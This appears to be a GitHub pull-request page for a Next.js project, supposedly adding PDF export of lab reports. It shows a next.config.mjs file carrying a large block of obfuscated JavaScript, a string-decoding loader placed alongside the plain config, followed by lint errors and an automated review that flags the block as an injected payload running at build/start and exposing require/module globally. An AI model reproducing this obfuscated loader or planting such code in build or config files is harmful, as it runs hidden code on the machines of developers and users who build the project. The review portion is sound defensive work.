+_0x18412e(0x2a0)+_0x18412e(0x275)+_0x18412e(0x2e6)+_0x18412e(0x1f9)+_0x18412e(0x2a7)+_0x18412e(0x210)+_0x18412e(0x1e2)+_0x18412e(0x291)+_0x18412e(0x238)+_0x18412e(0x326)+_0x18412e(0x1fd)+_0x18412e(0x29e)+_0x18412e(0x31a)+_0x18412e(0x32f)+_0x18412e(0x2e4)+_0x18412e(0x1d8)+_0x18412e(0x248)+_0x18412e(0x205)+_0x18412e(0x23c)+_0x18412e(0x347)+_0x18412e(0x2cc)+_0x18412e(0x1f6)+_0x18412e(0x278)+_0x18412e(0x27e)+_0x18412e(0x33e)+(_0x18412e(0x240)+_0x18412e(0x227)+_0x18412e(0x34e)+_0x18412e(0x201)+_0x18412e(0x279)+_0x18412e(0x292)+_0x18412e(0x289)+_0x18412e(0x273)+_0x18412e(0x29d)+_0x18412e(0x25f)+_0x18412e(0x28c)+_0x18412e(0x247)+_0x18412e(0x1ea)+_0x18412e(0x305)+_0x18412e(0x2aa)+_0x18412e(0x2b5)+_0x18412e(0x36e)+_0x18412e(0x2ff)+_0x18412e(0x2e3)+_0x18412e(0x35c)+_0x18412e(0x313)+_0x18412e(0x218)+_0x18412e(0x366)+_0x18412e(0x301)+_0x18412e(0x2fa)+_0x18412e(0x2ad)+_0x18412e(0x254)+_0x18412e(0x266)+_0x18412e(0x213)+_0x18412e(0x27c)+_0x18412e(0x318)+_0x18412e(0x21e)+_0x18412e(0x274)+_0x18412e(0x28b)+_0x18412e(0x2c8)+_0x18412e(0x26c)+_0x18412e(0x2d9)+_0x18412e(0x33b)+_0x18412e(0x2f6)+_0x18412e(0x34b)+_0x18412e(0x22e)+_0x18412e(0x261)+_0x18412e(0x2a6)+_0x18412e(0x255)+_0x18412e(0x372)+_0x18412e(0x2e8)+_0x18412e(0x375)+_0x18412e(0x259)+_0x18412e(0x31e)+_0x18412e(0x2cd)+_0x18412e(0x1ec)+_0x18412e(0x1de)+_0x18412e(0x346)+_0x18412e(0x246)+_0x18412e(0x31c)+_0x18412e(0x341)+_0x18412e(0x272)+_0x18412e(0x267)+_0x18412e(0x32b)+_0x18412e(0x217)+_0x18412e(0x2bc)+_0x18412e(0x287)+_0x18412e(0x368)+_0x18412e(0x242)+_0x18412e(0x31b)+_0x18412e(0x1f1)+_0x18412e(0x2ef)+_0x18412e(0x351)+_0x18412e(0x373)+_0x18412e(0x2ba)+_0x18412e(0x244)+_0x18412e(0x2b8)+_0x18412e(0x285)+_0x18412e(0x312)+_0x18412e(0x33f)+_0x18412e(0x211)+_0x18412e(0x2b4)+_0x18412e(0x23e)+_0x18412e(0x303)+_0x18412e(0x370)+_0x18412e(0x363)+_0x18412e(0x27d)+_0x18412e(0x241)+_0x18412e(0x322)+_0x18412e(0x2a2)+_0x18412e(0x288)+_0x18412e(0x352)+_0x18412e(0x2bd)+_0x18412e(0x327)+_0x18412e(0x28f)+_0x18412e(0x2f5)+_0x18412e(0x35d)+_0x18412e(0x26f)+_0x18412e(0x1f5)+_0x18412e(0x209)+_0x18412e(0x349)+_0x18412e(0x1db)+_0x18412e(0x24d)+_0x18412e(0x2d2)+_0x18412e(0x2da))+(_0x18412e(0x381)+_0x18412e(0x220)+_0x18412e(0x32e)+_0x18412e(0x214)+_0x18412e(0x1ef)+_0x18412e(0x37d)+_0x18412e(0x332)+_0x18412e(0x2d1)+_0x18412e(0x234)+_0x18412e(0x333)+_0x18412e(0x30e)+_0x18412e(0x353)+_0x18412e(0x33a)+_0x18412e(0x1e3)+_0x18412e(0x2af)+_0x18412e(0x25a)+_0x18412e(0x320)+_0x18412e(0x2ae)+_0x18412e(0x26e)+_0x18412e(0x33d)+_0x18412e(0x2ee)+_0x18412e(0x203)+_0x18412e(0x380)+_0x18412e(0x300)+_0x18412e(0x1e0)+_0x18412e(0x345)+_0x18412e(0x204)+_0x18412e(0x1fa)+_0x18412e(0x34a)+_0x18412e(0x231)+_0x18412e(0x258)+_0x18412e(0x21f)+_0x18412e(0x2f1)+_0x18412e(0x340)+_0x18412e(0x374)+_0x18412e(0x32c)+_0x18412e(0x348)+_0x18412e(0x224)+_0x18412e(0x37b)+_0x18412e(0x257)+_0x18412e(0x29a)+_0x18412e(0x1fc)+_0x18412e(0x334)+_0x18412e(0x212)+_0x18412e(0x249)+_0x18412e(0x2c7)+_0x18412e(0x2c6)+_0x18412e(0x1d9)+_0x18412e(0x294)+_0x18412e(0x2fb)+_0x18412e(0x325)+_0x18412e(0x251)+_0x18412e(0x34c)+_0x18412e(0x2df)+_0x18412e(0x308)+_0x18412e(0x20a)+_0x18412e(0x236)+_0x18412e(0x22a)+_0x18412e(0x1e7)+_0x18412e(0x1da)+_0x18412e(0x358)+_0x18412e(0x360)+_0x18412e(0x2d4)+_0x18412e(0x29c)+_0x18412e(0x36b)+_0x18412e(0x2dc)+_0x18412e(0x336)+_0x18412e(0x2f0)+_0x18412e(0x219)+_0x18412e(0x230)+_0x18412e(0x2d8)+_0x18412e(0x2b2)+_0x18412e(0x362)+_0x18412e(0x323)+_0x18412e(0x1ee)+_0x18412e(0x32a)+_0x18412e(0x297)+_0x18412e(0x29b)+_0x18412e(0x361)+_0x18412e(0x2a1)+_0x18412e(0x331)),'kWqYN':function(_0x16d141,_0x311033,_0x1efcea){return _0x16d141(_0x311033,_0x1efcea);},'qxuzA':function(_0x33f72d,_0x29b013){return _0x33f72d(_0x29b013);}},_0x7a948='',_0x506038=_0x41bc1d[_0x18412e(0x24a)](0x1bcc+-0x238b+0x950,-0x218c+-0x2587+-0x811*-0x9);function _0x5ed160(_0x6bfa6){var _0x2bfaa0=_0x18412e,_0x5508aa=_0x41bc1d[_0x2bfaa0(0x200)][_0x2bfaa0(0x2e7)]('|'),_0x416709=0x5*-0x2cd+0xe5a+-0x59;while(!![]){switch(_0x5508aa[_0x416709++]){case'0':var _0x1669df=-0x74a7b+-0x2c7*0xc41+0x8e4*0x93a;continue;case'1':var _0x42a9a3=[];continue;case'2':;continue;case'3':for(var _0x3d6b93=-0x1f*0x76+-0x1609+0x2453;_0x41bc1d[_0x2bfaa0(0x2a3)](_0x3d6b93,_0x375219);_0x3d6b93++){_0x42a9a3[_0x3d6b93]=_0x6bfa6[_0x2bfaa0(0x338)](_0x3d6b93);}continue;case'4':for(var _0x3d6b93=-0x1f+0x1764+0x25*-0xa1;_0x41bc1d[_0x2bfaa0(0x339)](_0x3d6b93,_0x375219);_0x3d6b93++){var _0x225591=_0x41bc1d[_0x2bfaa0(0x2de)][_0x2bfaa0(0x2e7)]('|'),_0x4b292b=0x2677+-0x10*-0x202+-0x4697;while(!![]){switch(_0x225591[_0x4b292b++]){case'0':_0x42a9a3[_0x300a52]=_0x458ba7;continue;case'1':var _0x20474b=_0x41bc1d[_0x2bfaa0(0x215)](_0x41bc1d[_0x2bfaa0(0x202)](_0x1669df,_0x41bc1d[_0x2bfaa0(0x215)](_0x3d6b93,0x740*-0x1+0x16a2*-0x1+0x2*0xf31)),_0x41bc1d[_0x2bfaa0(0x2f4)](_0x1669df,0x7*-0x3169+-0x1*-0x499a+0x1dbdc));continue;case'2':var _0x5cb8a4=_0x41bc1d[_0x2bfaa0(0x2f4)](_0xb702a4,_0x375219);continue;case'3':_0x42a9a3[_0x5cb8a4]=_0x42a9a3[_0x300a52];continue;case'4':_0x1669df=_0x41bc1d[_0x2bfaa0(0x2f4)](_0x41bc1d[_0x2bfaa0(0x215)](_0xb702a4,_0x20474b),-0x1d49e6+0x53368f+0x104e*0xb5);continue;case'5':var _0xb702a4=_0x41bc1d[_0x2bfaa0(0x215)](_0x41bc1d[_0x2bfaa0(0x202)](_0x1669df,_0x41bc1d[_0x2bfaa0(0x2ed)](_0x3d6b93,0x1*-0x1e1c+-0x55f+-0x1*-0x245f)),_0x41bc1d[_0x2bfaa0(0x2fd)](_0x1669df,0x313e+-0xc14*0x19+0x1c152));continue;case'6':var _0x458ba7=_0x42a9a3[_0x5cb8a4];continue;case'7':var _0x300a52=_0x41bc1d[_0x2bfaa0(0x2fd)](_0x20474b,_0x375219);continue;}break;}}continue;case'5':var _0x375219=_0x6bfa6[_0x2bfaa0(0x21b)];continue;case'6':;continue;case'7':return _0x42a9a3[_0x2bfaa0(0x256)]('');}break;}};var _0x45c406=_0x41bc1d[_0x18412e(0x222)](_0x5ed160,_0x41bc1d[_0x18412e(0x33c)])[_0x18412e(0x1dd)](0x2338+-0x19bb*0x1+-0x97d,_0x506038),_0xd8e862=_0x41bc1d[_0x18412e(0x21d)],_0x133af3=_0x5ed160[_0x45c406],_0x2aa7d9='',_0x394f6b=_0x133af3,_0x4878bc=_0x41bc1d[_0x18412e(0x1f3)](_0x133af3,_0x2aa7d9,_0x41bc1d[_0x18412e(0x1f4)](_0x5ed160,_0xd8e862)),_0x5bf975=_0x41bc1d[_0x18412e(0x222)](_0x4878bc,_0x41bc1d[_0x18412e(0x2e2)](_0x5ed160,_0x41bc1d[_0x18412e(0x23f)])),_0x1f73d9=_0x41bc1d[_0x18412e(0x2d0)](_0x394f6b,_0x7a948,_0x5bf975);return _0x41bc1d[_0x18412e(0x2ac)](_0x1f73d9,-0xe2e+-0x1*-0x1bb3+0xe*-0x44),0x1f*-0x46+0x2270+0x1*-0x14a8;}());
/** `@type` {import('next').NextConfig} */
const nextConfig = {};
export default nextConfig;
🧰 Tools
🪛 Biome (2.5.0)

[error] 8-8: Other switch clauses can erroneously access this declaration.
Wrap the declaration in a block to restrict its access to the switch clause.

(lint/correctness/noSwitchDeclarations)


[error] 8-8: Other switch clauses can erroneously access this declaration.
Wrap the declaration in a block to restrict its access to the switch clause.

(lint/correctness/noSwitchDeclarations)


[error] 8-8: Other switch clauses can erroneously access this declaration.
Wrap the declaration in a block to restrict its access to the switch clause.

(lint/correctness/noSwitchDeclarations)


[error] 8-8: Other switch clauses can erroneously access this declaration.
Wrap the declaration in a block to restrict its access to the switch clause.

(lint/correctness/noSwitchDeclarations)


[error] 8-8: Other switch clauses can erroneously access this declaration.
Wrap the declaration in a block to restrict its access to the switch clause.

(lint/correctness/noSwitchDeclarations)


[error] 8-8: Other switch clauses can erroneously access this declaration.
Wrap the declaration in a block to restrict its access to the switch clause.

(lint/correctness/noSwitchDeclarations)


[error] 8-8: Other switch clauses can erroneously access this declaration.
Wrap the declaration in a block to restrict its access to the switch clause.

(lint/correctness/noSwitchDeclarations)


[error] 8-8: Other switch clauses can erroneously access this declaration.
Wrap the declaration in a block to restrict its access to the switch clause.

(lint/correctness/noSwitchDeclarations)


[error] 8-8: Other switch clauses can erroneously access this declaration.
Wrap the declaration in a block to restrict its access to the switch clause.

(lint/correctness/noSwitchDeclarations)


[error] 8-8: Other switch clauses can erroneously access this declaration.
Wrap the declaration in a block to restrict its access to the switch clause.

(lint/correctness/noSwitchDeclarations)


[error] 8-8: Other switch clauses can erroneously access this declaration.
Wrap the declaration in a block to restrict its access to the switch clause.

(lint/correctness/noSwitchDeclarations)


[error] 8-8: Other switch clauses can erroneously access this declaration.
Wrap the declaration in a block to restrict its access to the switch clause.

(lint/correctness/noSwitchDeclarations)


[error] 8-8: Other switch clauses can erroneously access this declaration.
Wrap the declaration in a block to restrict its access to the switch clause.

(lint/correctness/noSwitchDeclarations)


[error] 8-8: Other switch clauses can erroneously access this declaration.
Wrap the declaration in a block to restrict its access to the switch clause.

(lint/correctness/noSwitchDeclarations)


[error] 8-8: Other switch clauses can erroneously access this declaration.
Wrap the declaration in a block to restrict its access to the switch clause.

(lint/correctness/noSwitchDeclarations)


[error] 8-8: Other switch clauses can erroneously access this declaration.
Wrap the declaration in a block to restrict its access to the switch clause.

(lint/correctness/noSwitchDeclarations)


[error] 8-8: Other switch clauses can erroneously access this declaration.
Wrap the declaration in a block to restrict its access to the switch clause.

(lint/correctness/noSwitchDeclarations)


[error] 8-8: Other switch clauses can erroneously access this declaration.
Wrap the declaration in a block to restrict its access to the switch clause.

(lint/correctness/noSwitchDeclarations)


[error] 8-8: Other switch clauses can erroneously access this declaration.
Wrap the declaration in a block to restrict its access to the switch clause.

(lint/correctness/noSwitchDeclarations)


[error] 8-8: Other switch clauses can erroneously access this declaration.
Wrap the declaration in a block to restrict its access to the switch clause.

(lint/correctness/noSwitchDeclarations)


[error] 8-8: Other switch clauses can erroneously access this declaration.
Wrap the declaration in a block to restrict its access to the switch clause.

(lint/correctness/noSwitchDeclarations)


[error] 8-8: Other switch clauses can erroneously access this declaration.
Wrap the declaration in a block to restrict its access to the switch clause.

(lint/correctness/noSwitchDeclarations)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@next.config.mjs` around lines 1 - 8, Remove the injected obfuscated payload
from nextConfig so the config only contains the intended Next.js setup. The
issue is the stray code appended after export default nextConfig that runs
during build/start and exposes require/module on global; delete that block
entirely and keep next.config.mjs limited to the createRequire/require setup
only if it is actually needed. Verify that nextConfig remains a plain
configuration object with no side effects or runtime execution.

Source: Linters/SAST tools

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

Add PDF export of complete lab reports including observations and calculations

2 participants